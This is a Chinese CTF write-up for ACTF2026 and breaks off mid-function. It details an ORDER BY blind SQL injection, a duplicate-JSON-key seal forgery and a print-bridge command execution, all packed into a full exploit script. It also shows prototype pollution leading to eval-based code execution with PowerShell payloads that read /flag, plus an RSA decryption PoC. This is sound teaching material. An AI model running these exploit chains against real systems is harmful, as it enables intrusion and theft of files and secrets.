文章总结： 该文档是ACTF2026比赛中Web题目12307的完整解题报告，详细分析了ORDERBYSQL注入、claimProof盲注绕过、重复JSON键解析差异和打印桥命令执行等多个漏洞点。通过组合利用这些漏洞，最终实现了通过base64命令读取flag的完整攻击链，展示了从漏洞发现到利用的全过程。
综合评分： 85
文章分类： WEB安全,漏洞分析,代码审计,红队,CTF
ACTF2026 WP
原创
Inf1n1ty
Inf1n1ty
Zer0day安全
2026年5月22日 18:53
天津
在小说阅读器读本章
去阅读
Web
12307
img
题目分析
对源码进行审计：
- 1. ORDER BY SQL 注入
def fare_scope_expression(scope):
fields = {
"ticket": "ticket_no",
"passenger": "passenger",
"train": "train_id",
"station": "station_code",
"state": "status",
}
if isinstance(scope, str):
return fields.get(scope, "ticket_no")
if not isinstance(scope, dict):
return "ticket_no"
if scope.get("mode") == "legacy-rank":
return str(scope.get("expr", "ticket_no"))[:240]
def reprice_fare(self, data):
station_code = str(data.get("stationCode", "BJP"))[:16]
scope = fare_scope_expression(data.get("tariffScope", "ticket"))
sql = (
"SELECT ticket_no,station_code,status FROM ticket_index "
"WHERE station_code IN (%s,'BJP') "
f"ORDER BY {scope} LIMIT 1"
)
scope.get(“expr”) 直接进入 ORDER BY，没有参数化，SQL可控。返回里 bucket 会根据第一行是不是 T-BJP- 开头而变化，可以布尔盲注。
- 1. claimProof 盲注绕过
adjust_ticket() 本来要求正确的 claimProof 才能写入 ticket adjustment。
expected_digest = claim_digest(
artifact["order_id"],
artifact["train_id"],
artifact["station_code"],
ticket_no,
artifact["claim_salt"],
)
expected_proof = claim_proof(
artifact["order_id"],
artifact["train_id"],
artifact["station_code"],
ticket_no,
artifact["claim_salt"],
artifact["claim_digest"],
)
if artifact["claim_digest"] != expected_digest or submitted_proof != expected_proof:
send_json(self, 409, {"error": "binding_review"})
return
def claim_digest(order_id, train_id, station_code, ticket_no, claim_salt):
parts = [
str(order_id),
str(train_id),
str(station_code),
str(ticket_no),
str(claim_salt),
]
return hashlib.sha256("|".join(parts).encode()).hexdigest()
def claim_proof(order_id, train_id, station_code, ticket_no, claim_salt, digest_value=None):
digest_value = digest_value or claim_digest(order_id, train_id, station_code, ticket_no, claim_salt)
return f"CP-{claim_salt}-{str(digest_value)[:12]}"
claim_salt 可被盲注出来，所以能构造合法 proof。
- 1. 重复 JSON key 解析差异
def first_wins_object(pairs):
result = {}
for key, value in pairs:
if key not in result:
result[key] = value
return result
header = json.loads(b64url_decode(protected).decode())
payload_text = b64url_decode(payload).decode()
public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
render_view = json.loads(payload_text)
checks = {
"batchId": batch_id,
"orderId": order["order_id"],
"stationCode": order["station_code"],
"templateDigest": template_digest,
"routeName": route_name,
"ledgerRef": str((boarding_channel or {}).get("ledgerRef", "")),
"printProfile": "counter-copy",
"printer": "thermal-standard",
}
for key, expected_value in checks.items():
if str(public_view.get(key, "")) != str(expected_value):
return None, ["partner_receipt_review"]
print_plan = {
"profile": str(render_view.get("printProfile", "counter-copy"))[:64],
"printer": str(render_view.get("printer", "thermal-standard"))[:64],
"prefix": str(render_view.get("prefix", "reconciliation"))[:48],
"cell": str(render_view.get("cell", "receipt"))[:48],
"ledgerRef": checks["ledgerRef"],
"boardingNonce": str((boarding_channel or {}).get("boardingNonce", "")),
"driverProgram": str(render_view.get("driverProgram", ""))[:160],
"driverArgument": str(render_view.get("driverArgument", ""))[:160],
}
校验用的是第一次出现的键，真正打印的是最后一次出现的键。因此可以构造重复键：前值过校验，后值控渲染。
- 1. 打印桥可执行 base64 /flag
def run_driver(program, argument):
if not program.startswith(os.path.join("/", "usr", "bin", "")):
return ""
if not argument.startswith(os.path.join("/", "")):
return ""
pid = os.posix_spawn(program, [program, argument], os.environ, file_actions=file_actions)
在Dockerfile中
cat > /run/rail-spool/device-map.json <<'MAP'
{
"profile-delta-closeout": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/base64"]},
"profile-north-closeout": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/printf"]},
"profile-baggage-preview": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/printf"]}
}
MAP
chown root:root /flag
chmod 0600 /flag
chown root:root /usr/bin/base64
chmod 4755 /usr/bin/base64
执行/usr/bin/base64 /flag，就能拿到 flag 的 base64 文本
利用过程
进入容器，直接在控制台进行尝试（1=1，1=0）
fetch('/api/desk/fares/reprice', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
stationCode: 'HGH',
amount: 0,
tariffScope: {
mode: 'legacy-rank',
expr: "CASE WHEN (1=1) THEN station_code='BJP' ELSE station_code='HGH' END DESC"
}
})
}).then(r => r.json()).then(console.log)
img
发现1=1（T）的时候north-window 当1=0（F）的时候local-window
所以我们可以进行布尔盲注
CASE WHEN (SUBSTRING((SELECT claim_salt ...),pos,1)='X')
THEN station_code='BJP' ELSE station_code='HGH' END DESC
claim_salt 为：RW9GHNMZ8
再按 rail_common.py 的算法计算：
- • raw = orderId|trainId|stationCode|ticketNo|claimSalt
- • digest = sha256(raw)
- • claimProof = CP–
得到claimProof = CP-RW9GHNMZ8-7de9adf4f900
img
进入站务规则编译，打开 batchOpen，提交的结构化 memo 要符合这组值。随后调用 station-desk-ledger，即可把：
- • waitlist_entries.sampled = 1
- • station_profiles.batch_open = 1
- • rendererProfile = folio-grid-27
- • signerRoute = delta-window-27
全都打开
img
从图中可以看到：
-
• tickets/adjust -> 202
-
• imports/health station-desk-ledger -> accepted
-
• metadata 中已经出现：
-
• batchOpen: true
-
• rendererProfile: folio-grid-27
-
• signerRoute: delta-window-27
- 1. 编译 notice feed，打开 board profile 与 partner jwks
带 header 片段的 notice，调用 station-partner-feed对 HGH
X-Desk-Lane: delta-window-27
X-Board-Window: seat-window-e27
X-Desk-Key-Id: POL-HGH-TRUSTED
X-Desk-Key: delta-window-27
成功后会在 Redis 里写入：
- • rail:interline:lane:HGH
- • rail:board:profile:HGH
- • rail:partner:jwks:HGH
- 1. 创建 batch，并通过 WebSocket 拿到 ledgerRef
创建一个 defer=true 的 batch，拿到：
- • batchId
- • templateDigest
然后利用 waitlist_push/server.js的 boarding 流：
- • boarding.hello_required
- • boarding.hello
- • boarding.bind
- • boarding.confirm
成功后返回：edgerRef = 19d34e0426757ea5f9de37ad
- 1. 伪造 carrierSeal，完整链
构造一个重复 key的 carrierSeal payload，使得：
- • 校验阶段看到 printProfile = counter-copy printer = thermal-standard
- • 渲染阶段看到 printProfile = clearing-batch printer = line-printer driverProgram = /usr/bin/base64 driverArgument = /flag
签名使用 HS256，key 直接来自题目附件里的 trusted policy：
- • POL-HGH-TRUSTED
- • e94c0a8d-12307-hgh-trusted
之后顺序执行：
- • /api/corporate/receipts/prepare
- • /api/mobile/waitlist/pulse
- • /api/corporate/settlement/schedule
- • 轮询 /api/corporate/reconciliation/
最终 report.body 中会出现 /flag 的 base64。
img
img
得到base64：QUNURnt3SHlfYXIxX3kwdV9zbzBPMG8wT28wb19GYXMxPz8/Pz9fQzJDZnc2cnlEOTR
解码之后就是flag
Flag
ACTF{wHy_ar1_y0u_so0O0o0Oo0o_Fas1?????_C2Cfw6ryD94}
梭哈脚本
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import random
import string
import time
import requests
import websocket
BASE = "http://web-442962a9f7.adworld.xctf.org.cn:80"
ALPHABET = string.digits + string.ascii_uppercase
TRAIN_ID = "G7608"
SEAT_CLASS = "business"
STATION = "HGH"
TICKET_NO = "T-HGH-7608-019"
TRUSTED_POLICY_ID = "POL-HGH-TRUSTED"
TRUSTED_SECRET = "e94c0a8d-12307-hgh-trusted"
TRUSTED_ROUTE = "delta-window-27"
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def post_json(session, path, obj, retries=5):
last = None
for _ in range(retries):
try:
r = session.post(BASE + path, json=obj, timeout=15)
return r.status_code, r.json()
except Exception as e:
last = e
time.sleep(0.5)
raise last
def get_json(session, path, retries=5):
last = None
for _ in range(retries):
try:
r = session.get(BASE + path, timeout=15)
return r.status_code, r.json()
except Exception as e:
last = e
time.sleep(0.5)
raise last
def bool_sqli(session, cond, retries=5):
expr = f"CASE WHEN ({cond}) THEN station_code='BJP' ELSE station_code='HGH' END DESC"
obj = {
"stationCode": STATION,
"amount": 0,
"tariffScope": {
"mode": "legacy-rank",
"expr": expr,
},
}
last = None
for _ in range(retries):
try:
r = session.post(BASE + "/api/desk/fares/reprice", json=obj, timeout=15)
data = r.json()
return data["quote"]["bucket"] == "north-window"
except Exception as e:
last = e
time.sleep(0.5)
raise last
def rand_batch():
return "B" + "".join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
def main():
# 1. create trusted waitlisted order
s = requests.Session()
status, data = post_json(s, "/api/mobile/identity/continue", {
"passenger": "auto",
"relayState": {"next": "rail://continue/seat-hold", "flow": ["seat-hold"]},
"partnerMetadata": {
"entityID": "railway-partner",
"compatBinding": "x-accel",
"role": "PassengerIdentityProvider",
},
"assertion": "<Assertion><Audience>12307</Audience><NameID>mobile-passenger</NameID><Signature>RelayState</Signature></Assertion>",
"trustLevel": ["mobile", "partner"],
"stationCode": STATION,
})
print("[*] identity:", status, data)
status, data = post_json(s, "/api/mobile/orders/hold", {
"trainId": TRAIN_ID,
"seatClass": SEAT_CLASS,
"holdMode": "waitlist",
})
print("[*] hold:", status, data)
status, data = post_json(s, "/api/mobile/orders", {
"trainId": TRAIN_ID,
"seatClass": SEAT_CLASS,
"passenger": "auto",
})
print("[*] order:", status, data)
order_id = data["order"]["id"]
print("[+] order_id =", order_id)
# 2. blind claim_salt
claim_salt = ""
for pos in range(1, 13):
found = False
for ch in ALPHABET:
cond = f"SUBSTRING((SELECT claim_salt FROM station_claim_artifacts WHERE order_id='{order_id}'),{pos},1)='{ch}'"
if bool_sqli(s, cond):
claim_salt += ch
print(f"[*] claim_salt[{pos}] = {ch} -> {claim_salt}")
found = True
break
if not found:
break
print("[+] claim_salt =", claim_salt)
# 3. compute claimProof
raw = f"{order_id}|{TRAIN_ID}|{STATION}|{TICKET_NO}|{claim_salt}"
digest = hashlib.sha256(raw.encode()).hexdigest()
claim_proof = f"CP-{claim_salt}-{digest[:12]}"
print("[+] claim_proof =", claim_proof)
# 4. submit structured adjustment
memo = {
"stationCode": STATION,
"channel": "fare-desk",
"lineItems": {
"role": "settlement-layout",
"reason": "FARE-91",
"layout": "folio-grid-27",
"device": "PR-HGH-042",
"enabled": True,
},
}
status, data = post_json(s, "/api/desk/tickets/adjust", {
"ticketNo": TICKET_NO,
"memo": json.dumps(memo, separators=(",", ":")),
"claimProof": claim_proof,
"delta": 0,
})
print("[*] adjust:", status, data)
# 5. compile station desk ledger
status, data = post_json(s, "/api/desk/imports/health", {
"stationCode": STATION,
"adapter": "station-desk-ledger",
"target": f"rail-mesh://desk-ledger/apply?orderId={order_id}&stationCode={STATION}",
"payload": "ok",
})
print("[*] desk-ledger:", status, data)
status, data = get_json(s, f"/api/desk/reconciliation/metadata?stationCode={STATION}")
print("[*] metadata:", status, data)
# 6. publish partner feed notice and compile feed
proxy_hint = "\n".join([
"X-Desk-Lane: delta-window-27",
"X-Board-Window: seat-window-e27",
"X-Desk-Key-Id: POL-HGH-TRUSTED",
"X-Desk-Key: delta-window-27",
])
status, data = post_json(s, "/api/desk/notices", {
"stationCode": STATION,
"title": "Partner feed maintenance",
"body": "Temporary notice for carrier desk handoff.",
"proxyHint": proxy_hint,
})
print("[*] notice:", status, data)
status, data = post_json(s, "/api/desk/imports/health", {
"stationCode": STATION,
"adapter": "station-partner-feed",
"target": f"rail-cache://redis/partner/metadata?stationCode={STATION}",
"payload": "unused",
})
print("[*] partner-feed:", status, data)
status, data = get_json(s, f"/api/mobile/coach/board?stationCode={STATION}")
print("[*] board:", status, data)
# 7. create deferred batch
batch_id = rand_batch()
status, data = post_json(s, "/api/corporate/reconciliation", {
"orderId": order_id,
"stationCode": STATION,
"reportType": "carrier-closeout",
"defer": True,
"batchId": batch_id,
})
print("[*] batch:", status, data)
template_digest = data["templateDigest"]
# 8. fresh waitlist session for websocket + pulse
s_ws = requests.Session()
post_json(s_ws, "/api/mobile/identity/continue", {
"passenger": "ws",
"relayState": {"next": "rail://continue/seat-hold", "flow": ["seat-hold"]},
"partnerMetadata": {
"entityID": "railway-partner",
"compatBinding": "x-accel",
"role": "PassengerIdentityProvider",
},
"assertion": "<Assertion><Audience>12307</Audience><NameID>mobile-passenger</NameID><Signature>RelayState</Signature></Assertion>",
"trustLevel": ["mobile", "partner"],
"stationCode": STATION,
})
status, data = post_json(s_ws, "/api/mobile/orders/hold", {
"trainId": TRAIN_ID,
"seatClass": SEAT_CLASS,
"holdMode": "waitlist",
})
print("[*] ws-hold:", status, data, s_ws.cookies.get_dict())
wait_cookie = s_ws.cookies.get("waitlist_session")
headers = [f"Cookie: waitlist_session={wait_cookie}"]
ws = websocket.create_connection(
"ws://web-442962a9f7.adworld.xctf.org.cn:80/api/connect/boarding?stationCode=HGH",
header=headers,
timeout=15,
)
msg1 = json.loads(ws.recv())
print("[*] ws1:", msg1)
ws.send(json.dumps({
"type": "boarding.hello",
"channel": msg1["channel"],
}))
msg2 = json.loads(ws.recv())
print("[*] ws2:", msg2)
ws.send(json.dumps({
"type": "boarding.bind",
"topic": "seat-consist",
"trainId": TRAIN_ID,
"seatClass": SEAT_CLASS,
}))
msg3 = json.loads(ws.recv())
print("[*] ws3:", msg3)
ws.send(json.dumps({
"type": "boarding.confirm",
"orderId": order_id,
"stationCode": STATION,
"epoch": "1",
}))
msg4 = json.loads(ws.recv())
print("[*] ws4:", msg4)
ws.close()
ledger_ref = msg4["ledgerRef"]
print("[+] ledger_ref =", ledger_ref)
# 9. craft duplicate-key carrier seal
header = {
"alg": "HS256",
"typ": "rail-carrier-seal",
"kid": TRUSTED_POLICY_ID,
}
protected = b64url(json.dumps(header, separators=(",", ":")).encode())
payload_text = (
"{"
f"\"batchId\":\"{batch_id}\","
f"\"orderId\":\"{order_id}\","
f"\"stationCode\":\"{STATION}\","
f"\"templateDigest\":\"{template_digest}\","
f"\"routeName\":\"{TRUSTED_ROUTE}\","
f"\"ledgerRef\":\"{ledger_ref}\","
"\"printProfile\":\"counter-copy\","
"\"printer\":\"thermal-standard\","
"\"printProfile\":\"clearing-batch\","
"\"printer\":\"line-printer\","
"\"prefix\":\"reconciliation\","
"\"cell\":\"receipt\","
"\"driverProgram\":\"/usr/bin/base64\","
"\"driverArgument\":\"/flag\""
"}"
)
payload = b64url(payload_text.encode())
signature = b64url(
hmac.new(TRUSTED_SECRET.encode(), f"{protected}.{payload}".encode(), hashlib.sha256).digest()
)
seal = {
"protected": protected,
"payload": payload,
"signature": signature,
}
# 10. prepare receipt
status, data = post_json(s, "/api/corporate/receipts/prepare", {
"batchId": batch_id,
"orderId": order_id,
"stationCode": STATION,
"trustLevel": ["mobile", "partner", "settlement"],
"carrierSeal": seal,
})
print("[*] prepare:", status, data)
# 11. pulse epoch
status, data = post_json(s_ws, "/api/mobile/waitlist/pulse", {
"orderId": order_id,
})
print("[*] pulse:", status, data)
# 12. schedule batch
status, data = post_json(s, "/api/corporate/settlement/schedule", {
"batchId": batch_id,
})
print("[*] schedule:", status, data)
# 13. poll report and decode flag
body = None
for i in range(20):
time.sleep(0.5)
status, data = get_json(s, f"/api/corporate/reconciliation/{batch_id}")
report = data.get("report")
print(f"[*] poll {i}:", report)
if report and report.get("ready"):
body = report.get("body", "")
break
if not body:
raise SystemExit("report not ready")
flag_b64 = body.strip().split()[-1]
flag = base64.b64decode(flag_b64).decode()
print("[+] FLAG_BASE64 =", flag_b64)
print("[+] FLAG =", flag)
if __name__ == "__main__":
main()
MISC
special day
img
（ACTF比赛当天是母亲节，祝全天下的母亲节日快乐！）
题目分析
题目描述能看出来需要将里面的内容解开并且 _ to join the words, remove punctuation, and wrap it with ACTF{}
单词之间加_去掉标点然后用ACTF{}包上
img
打开附件发现只有一串这个，一眼看出Base64，扔赛博厨子
img
Flag
ACTF{Happy_Mother’s_Day_Mom}
ZJUAM Just Uses Awful Math
img
黑客说是
题目分析
img
打开附件发现包很小
发现几个http的流量，过滤一下
img
一眼看到长度15576的包，打开看一下，发现一坨代码
img
扔给ai看了看代码，发现这是浙大登录页面的html页面，顺手看一下另外两个http
img
img
发现一些参数： {“modulus”:”90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3″,”exponent”:”10001″} username=player&password=590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563&execution=[redacted]&_eventId=submit&rememberMe=true
- 1. 抓包里有 GET /cas/v2/getPubKey
- 2. 抓包里有 POST /cas/login，而且 password 已经不是明文
- 3. 所以中间一定有前端代码把“用户输入的密码”变成了“提交出去的字符串”
所以我们可以看看网页里面前端代码login.js和security.js
在login.js里面我们可以看到如下代码：
function checkForm(){
if($("#username").val()==''){
$("#username").focus();
return false;
}
if($("#password").val()==''){
$("#password").focus();
return false;
}
if($("#kaptcha").css("display")!="none" && $("#authcode").val()==''){
$("#authcode").focus();
return false;
}
var password = $("#password").val();
var key = new RSAUtils.getKeyPair(public_exponent, "", Modulus);
var reversedPwd = password.split("").reverse().join("");
var encrypedPwd = RSAUtils.encryptedString(key,reversedPwd);
$("#password").val(encrypedPwd);
$("#fm1").submit();
}
这串代码明确写出了判断条件：
- 1. 取公钥
- 2. 把密码字符串反转
- 3. 用 RSAUtils.encryptedString 做 RSA
- 4. 把结果放回 password 再提交
再看security.js
RSAUtils.decryptedString = function(key, s) {
var blocks = s.split(" ");
var result = "";
var i, j, block;
for (i = 0; i < blocks.length; ++i) {
var bi;
if (key.radix == 16) {
bi = RSAUtils.biFromHex(blocks[i]);
}
else {
bi = RSAUtils.biFromString(blocks[i], key.radix);
}
block = key.barrett.powMod(bi, key.d);
for (j = 0; j <= RSAUtils.biHighIndex(block); ++j) {
result += String.fromCharCode(block.digits[j] & 255,
block.digits[j] >> 8);
}
}
// Remove trailing null, if any.
if (result.charCodeAt(result.length - 1) == 0) {
result = result.substring(0, result.length - 1);
}
return result;
};
RSAUtils.setMaxDigits(130);
直接告诉了我们如何解密： 密文字符串 -> 大整数 -> RSA 解密 -> 按字符拼回文本 然后前面我们知道了
- • n = modulus=90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3
- • e = exponent=10001
- • c = password=590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563
也就是 公钥: (n, e)
密文: c
直接按照上面的解密方法解开之后去掉末尾 \x00 再反转就行
Flag
ACTF{TLS_s@ves_THE_w0RLd}
Poc
p = 202555251191383333988748320354737959551
q = 321566364572398185024295275472079273917
e = 65537
n = int('90011418f37a7a075aead75a9829d38eb2d750fd17bb24e5861b89d7658a88c3', 16)
c = int('590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563', 16)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
# 按 security.js 的 BigInt 表示还原字符串
chars = []
x = m
while x:
digit = x & 0xffff
chars.append(chr(digit & 0xff))
chars.append(chr((digit >> 8) & 0xff))
x >>= 16
s = ''.join(chars).rstrip('\x00')
flag = s[::-1]
print(flag)
∀gent
img
题目分析：
先分析附件，代码审计一下：
这题真正的攻击面不在前端上传仓库的交互上，而在后端直接暴露出来的调试接口 /api/projects/:id/agent/override。服务端在 server.js (line 949) 中直接把用户提交的数据交给 runOverrideJob 处理：
app.post("/api/projects/:id/agent/override", async (req, res) => {
const job = await runOverrideJob(req.params.id, req.body);
res.status(202).json({ job });
});
runOverrideJob 会先根据用户传入的 scope / environment / section / field / value 构造要修改的配置路径。这里的关键点在于，path-builder.js 只是将这四段字符串原样拼接，没有任何白名单关键字限制：
return `agentProfile.scopes.${scope}.environments.${environment}.${section}.${field}`;
也就是说，只要我们可控这几个字段，就能构造出任意属性路径
配置修改逻辑位于 config-engine.js 这里又把路径和值继续交给 vendored 的 candidate-yaml-update-action 处理：
function applyChanges(filePath, valueUpdates, options = {}) {
const initial = readRawFile(filePath);
const method = options.method || METHOD.CREATE_OR_UPDATE;
const format = options.format || guessFormat(filePath);
const upstream = loadYamlUpdateModule();
const changedFile = upstream.processFile(
path.basename(filePath),
valueUpdates,
actionOptions,
actionLogger
);
const after = changedFile ? changedFile.content : initial.raw;
return {
format,
before: initial.raw,
after,
changed: initial.raw !== after,
json: changedFile ? changedFile.json : null,
};
}
在 vendor/candidate-yaml-update-action/dist/index.js 的 replace() 中，更新操作最终通过 jsonpath.value(copy, jsonPath, value) 完成：
function replace(value, jsonPath, content, method) {
const copy = JSON.parse(JSON.stringify(content));
if (!jsonPath.startsWith('$')) {
if (jsonPath.startsWith('[')) {
jsonPath = `$${jsonPath}`;
} else {
jsonPath = `$.${jsonPath}`;
}
}
...
jsonpath_1.default.value(copy, jsonPath, value);
return copy;
}
这里没有对 proto、constructor 等危险属性做过滤，因此可以直接利用 JSONPath 写入原型链。最稳定的写法是把路径打到：
agentProfile.scopes.release.environments.staging.__proto__.policy
也就是请求：
scope=release
environment=staging
section=__proto__
field=policy
这样就能把 Object.prototype.policy 直接污染成我们提供的对象。
污染发生后，后半段 runAgentLoop 会继续调用 repo.inspect -> policy.evaluate。在 tool-registry.js (line 274) 中，inspectRepository() 返回的对象本身并不包含 policy 字段：
function inspectRepository(repositoryPath) {
if (!repositoryPath || !fs.existsSync(repositoryPath)) {
return {
available: false,
warnings: 2,
defaultBranch: "unknown",
};
}
...
return {
available: true,
hasReadme,
hasPackageJson,
hasDockerfile,
hasCI,
hasReleaseWorkflow,
workflowCount: workflows.length,
warnings,
};
}
tool-registry.js 中，evaluatePolicy() 直接读取 repoFacts.policy：
function evaluatePolicy(repoFacts, vendorCatalog, peerCatalog) {
const workspacePolicy = repoFacts.policy || {};
const selectorProfile = String(workspacePolicy.selectorProfile || "flat");
const resultProfile = String(workspacePolicy.resultProfile || "compact");
const bindingProfile = String(workspacePolicy.bindingProfile || "locked");
const runtime = {
strictNumericFormula: true,
formula:
workspacePolicy.formula ||
"base + hasReadme*10 + hasCI*25 + hasReleaseWorkflow*20 + hasPackageJson*5 + hasDockerfile*5 - warnings*10",
selectorProfile: resolvedProfiles.selectorProfile,
resultProfile: resolvedProfiles.resultProfile,
bindingProfile: resolvedProfiles.bindingProfile,
allowHelperCalls: resolvedProfiles.allowHelperCalls,
requireIntegerResult: resolvedProfiles.requireIntegerResult,
allowCompatInterpreter: resolvedProfiles.allowCompatInterpreter,
};
由于 repoFacts 自身没有 policy 属性，这里就会沿原型链取到我们刚刚污染进去的 Object.prototype.policy，从而把 selectorProfile、resultProfile、bindingProfile 和 formula 全部带入后续计算逻辑。
后端执行我们构造的表达式在 tool-registry.js (line 584)：
function resolveSelectorProfile(profile) {
switch (String(profile || "")) {
case "flat":
return false;
case "linked":
return true;
default:
return true;
}
}
function resolveResultProfile(profile) {
switch (String(profile || "")) {
case "compact":
return true;
case "wide":
return false;
default:
return false;
}
}
function resolveBindingProfile(profile) {
switch (String(profile || "")) {
case "locked":
return false;
case "sealed":
return false;
case "compat":
return true;
default:
return true;
}
}
因此我们将污染对象设置为：
- • selectorProfile = “linked”：让 helper 函数暴露给表达式；
- • resultProfile = “wide”：允许返回非整数结果；
- • bindingProfile = “compat”：在校验失败时退回兼容执行路径。
helper 的定义在 tool-registry.js 中
function buildFormulaHelpers(repoFacts, context) {
return {
pick(name) {
const key = String(name || "");
if (!Object.prototype.hasOwnProperty.call(context, key)) {
throw new Error(`unknown selector key: ${key}`);
}
return context[key];
},
read(name) {
...
}
};
}
pick 是一个函数对象，利用 pick.constructor 拿到 Function 构造器。
在 tool-registry.js中，公式在校验失败但 compat 模式开启时，会退回到 executeFormulaExpression()，而这个函数内部直接使用了裸 eval：
function evaluateFormula(
formula,
context,
helpers,
allowHelperCalls,
requireIntegerResult,
strictNumericFormula,
allowCompatInterpreter
) {
const verdict = validateFormulaExpression(...);
if (verdict.blockedCount > 0) {
if (!allowCompatInterpreter) {
throw new Error("strict numeric formula validation failed");
}
return executeFormulaExpression(
expression,
context,
helpers,
allowHelperCalls,
requireIntegerResult
);
}
return executeFormulaExpression(...);
}
function executeFormulaExpression(
expression,
context,
helpers,
allowHelperCalls,
requireIntegerResult
) {
const argNames = [
...Object.keys(context),
...(allowHelperCalls ? Object.keys(helpers) : []),
];
const argValues = [
...Object.values(context),
...(allowHelperCalls ? Object.values(helpers) : []),
];
const result = eval(`(function(${argNames.join(',')}) { return (${expression}); })`)(
...argValues
);
return result;
}
至此，利用链就闭合了：我们先通过 proto 原型污染把恶意 policy 注入到 Object.prototype，再让 evaluatePolicy() 从 repoFacts.policy 继承到这份污染对象；随后利用 bindingProfile=compat 进入兼容执行路径，借助 selectorProfile=linked 暴露出来的 pick helper，通过 pick.constructor(…)() 拿到 Function，最终实现任意 JavaScript 执行，通过 formulaResult 返回给客户端
验证
按照上面内容验证一下：
img
payload如下：
构造 POST 请求体，变成一个 JSON，发给靶机。
关键字段是：
- • section = ‘proto’ 这里是利用原型污染的关键
- • field = ‘policy’ 把污染目标打到 policy
- • formula = $Formula 把你传进来的 payload 塞进去
- • selectorProfile = ‘linked’ 让 helper pick 可用
- • resultProfile = ‘wide’ 允许返回非整数
- • bindingProfile = ‘compat’ 让后端在校验失败后走兼容执行路径，最后进 eval
- • dryRun = $true 不真正写配置文件，但依然会触发后面的分析和执行流程
function Invoke-OverrideWithRetry {
param(
[Parameter(Mandatory = $true)]
[string]$Formula
)
$body = @{
instruction = 'sync'
scope = 'release'
environment = 'staging'
section = '__proto__'
field = 'policy'
value = @{
selectorProfile = 'linked'
resultProfile = 'wide'
bindingProfile = 'compat'
formula = $Formula
}
dryRun = $true
} | ConvertTo-Json -Depth 8
while ($true) {
try {
$resp = Invoke-WebRequest -Uri "$base/api/projects/workspace-main/agent/override" -Method POST -ContentType 'application/json' -Body $body -UseBasicParsing
return ($resp.Content | ConvertFrom-Json)
} catch {
if ($_.Exception.Response -and $_.Exception.Response.StatusCode.value__ -eq 429) {
Write-Host '429 rate limited, sleeping 21s...'
Start-Sleep -Seconds 21
} else {
throw
}
}
}
}
先列出根目录列表
$formula = 'pick.constructor("return process.mainModule.require(''fs'').readdirSync(''/'').join('','')")()'
$r = Invoke-OverrideWithRetry -Formula $formula
Write-Host '=== formulaResult ==='
$r.job.result.evaluation.formulaResult
img
能看到有flag，直接读flag文件
$formula = 'pick.constructor("return process.mainModule.require(''fs'').readFileSync(''/flag'',''utf8'')")()'
$r = Invoke-OverrideWithRetry -Formula $formula
Write-Host '=== formulaResult ==='
$r.job.result.evaluation.formulaResult
img
Flag
ACTF{1n_f4c7_∀_D0esn’7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}
crypto
inverse pow
1.题目分析：
给了一个二进程序，做一个逆向发现设计了一个交互：
服务端随机一个m
你输入一个数字
服务端计算 2 的 n 次方 这个超大数，判断这个超大数的开头数字是不是等于 m
暴力计算肯定不可取，而且还有时间限制，所以要求我们去设计算法高效计算
这里去查了一下这里考察其实是外尔均布定理
2.分析
img
exp：
#!/usr/bin/env python3
"""
inverse_pow full solve: C 128-bit fixed-point scan + gmpy2 logarithmic verify
"""
import sys
import socket
import re
import time
import argparse
import os
import gmpy2
from gmpy2 import mpfr, log10, floor, fmod, get_context, mpz
from pathlib import Path
import subprocess
import tempfile
get_context().precision = 200
# ------------------- C scanner -------------------
SEARCH_C = r"""
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static __uint128_t parse_hex(const char *s) {
__uint128_t x = 0;
for (; *s; s++) {
unsigned v;
if (*s >= '0' && *s <= '9') v = *s - '0';
else if (*s >= 'a' && *s <= 'f') v = *s - 'a' + 10;
else if (*s >= 'A' && *s <= 'F') v = *s - 'A' + 10;
else continue;
x = (x << 4) | v;
}
return x;
}
int main(int argc, char **argv) {
if (argc != 8) return 2;
__uint128_t alpha = parse_hex(argv[1]);
__uint128_t lo = parse_hex(argv[2]);
int hi_mod = strcmp(argv[3], "mod") == 0;
__uint128_t hi = hi_mod ? 0 : parse_hex(argv[3]);
uint64_t digits = strtoull(argv[4], NULL, 10);
uint64_t start = strtoull(argv[5], NULL, 10);
uint64_t intpart = strtoull(argv[6], NULL, 10);
uint64_t limit = strtoull(argv[7], NULL, 10);
__uint128_t f = alpha * (__uint128_t)start;
for (uint64_t n = start; n <= limit; n++) {
if (intpart + 1 >= digits && f >= lo && (hi_mod || f < hi)) {
printf("%llu\n", (unsigned long long)n);
return 0;
}
__uint128_t old = f;
f += alpha;
if (f < old) intpart++;
}
return 1;
}
"""
_scanner_bin = None
def _build_scanner():
global _scanner_bin
if _scanner_bin:
return _scanner_bin
d = Path(tempfile.gettempdir()) / "invpow_scan"
src = d.with_suffix(".c")
src.write_text(SEARCH_C)
subprocess.run(["cc", "-O3", str(src), "-o", str(d)],
check=True, capture_output=True)
_scanner_bin = str(d)
return _scanner_bin
# ------------------- parameter computation -------------------
def _fixed_params(m: int):
"""Convert m to 128-bit fixed-point alpha, lo, hi."""
bits = 128
mod = 1 << bits
mod_d = mpfr(mod)
alpha_d = log10(mpfr(2))
d = len(str(m))
lo_d = log10(mpfr(m)) - (d - 1)
hi_d = log10(mpfr(m + 1)) - (d - 1)
# Small rounding margin
alpha_i = int(alpha_d * mod_d + mpfr(0.5))
lo_i = max(0, int(lo_d * mod_d) - 2)
hi_i = min(mod, int(hi_d * mod_d) + 3)
return (d,
f"{alpha_i:032x}",
f"{lo_i:032x}",
"mod" if hi_i >= mod else f"{hi_i:032x}")
# ------------------- logarithmic verify (fast & memory-safe) -------------------
def _verify(m: int, n: int) -> bool:
"""
